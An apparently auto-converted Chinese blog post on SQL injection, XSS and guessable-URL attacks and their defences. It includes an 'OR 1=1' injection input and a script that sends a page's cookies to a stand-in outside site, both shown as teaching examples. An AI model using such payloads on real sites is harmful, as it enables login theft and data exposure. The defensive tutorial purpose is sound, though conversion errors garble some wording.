安全上你不應犯的錯

互聯網項目裏邊，SQL注入漏洞、XSS漏洞和猜想URL攻擊這三個漏洞可謂歷史悠久，然而直到今天還有人不斷中槍，也真是微醺。

 

這幾個漏洞說大也大，說小也小。說大是說這些漏洞危害大，會致使數據層面的安全問題；說小是從技術層面上講都是未對外部輸入作處理致使的，想要作針對性地防範很簡單。下面簡單看看這些漏洞的緣由及防範方法。

 

SQL注入

SQL注入之因此存在，主要是由於工程師將外部的輸入直接嵌入到將要執行的SQL語句中了。黑客能夠利用這一點執行SQL指令來達到本身目的。舉例來講，有一個接受參數爲id的頁面，在接收到id後從數據庫中查詢相應的數據， 其代碼大體以下：

string  SQL = "SELECT * FROM [User] WHERE ID=" + Request["ID"];

​正常狀況下，Request["ID"]爲數字，這條SQL能很好地工做。若是咱們認爲修改Request["ID"]，將其內容修改成?ID=1 OR 1=1 咱們將獲得這樣一條SQL:

​SELECT * FROM [User] WHERE ID=1 OR 1=1

由於有OR的出現這條SQL語句已經能夠獲取User表中的任意信息。利用SQL注入漏洞，咱們可以獲取想要的信息，同時能夠經過猜想-報錯獲取到數據庫其它表的結構和信息，若是數據庫、服務器權限設置不當，甚至有可能能獲取到整個服務器的控制權限。

規避這種漏洞有不少種辦法，以現代的編程語言來講，選擇一個合適的ORM框架能夠減小很多問題並且能大大提升開發效率。

若是由於某些緣由須要繼續寫SQL語句，參數化查詢也能解決這一問題。

對於須要拼接SQL語句的程序來講，注意兩點也能夠避免此問題。第一點是若是查詢的字段類型是數字等類型，在拼接SQL前先判斷輸入是否是一個合法的數字，不合法則終止程序便可。第二點是若是字段類型是字符串，則記得將輸入裏的的單引號進行轉義。

XSS攻擊

若是說SQL注入是直接在SQL裏執行了用戶輸入，那XSS攻擊是在HTML裏代碼執行了用戶輸入。相對SQL注入，XSS彷佛更能引發人關注。幾年前新浪微博被人利用XSS獲取大量粉絲；3DM也曾經被植入script代碼對另外一個遊戲網站進行了慘無人道的DDOS攻擊。

 

這裏仍是用SQL注入中的例子來講，假設頁面輸出爲：

​<div><%= Request["ID"] %></div>

這裏咱們能夠在Request["ID"]裏傳入一段編碼後的腳本，在最終輸出的時候，就變成了一段可執行的javascript代碼。

<script>window.location.href='anothersite.com?cookie=' + document.cookie;</script>

這段代碼獲取到當前頁面的cookie值，並將cookie值傳遞到另外一個名爲anothersite.com的網站。利用這種模式，黑客能夠獲取到用戶的登陸信息或者將用戶跳轉到釣魚網站來達成本身的目的。

 

XSS攻擊也能夠簡單分爲兩種，一種是上述例子中利用url引誘客戶點擊來實現；另外一種是經過存儲到數據庫，在其它用戶獲取相關信息時來執行腳本。

 

防範XSS攻擊須要在全部的字段都對輸入的字符串進行html encode（或者在輸出時進行encode）。若是須要使用富文本編輯的，能夠考慮使用UBB。

 

猜想URL攻擊

猜想URL攻擊是經過已知的GET、POST參數來猜想未公開的參數並嘗試進行攻擊。

以Request["ID"]爲例，若是ID爲1是合法的可訪問的數據，能夠經過嘗試ID=2，ID=3等一系列來嘗試是否對其它資源有訪問、修改權限。若是控制不當，則能夠輕鬆得到並修改數據。

要避免這種問題，方案一是使用較長的無規律的數字、字符來作爲ID，增大猜想難度；對於須要登陸的程序，能夠判斷用戶身份是否有對應ID數據的訪問、修改權限；若是ID已是自增類型且不須要登陸，能夠用過在URL裏增長無規律的校驗字段來避免。

 

其它須要注意的地方

安全是一個系統工程。

要提升系統安全性，最首要的一點是不要相信任何輸入！不要相信任何輸入！不要相信任何輸入！重要的事情說三遍。這裏的輸入除了URL裏的GET參數、POST參數，還包括COOKIE、Header等能夠進行修改的各種信息。

在程序設置方面，不輸出客戶不須要知道的各種信息，如原始的異常信息、異常附近的代碼段等等，這樣也能增長很多安全性。

最後，在測試或系統運行的過程當中，可使用相似appscan這樣的安全檢測工具來檢查程序是否有漏洞。

 

PS：打個廣告，最近在寫一個關於研發、團隊的公衆號，有興趣的朋友能夠搜索「自留地」或掃描下面的二維碼關注。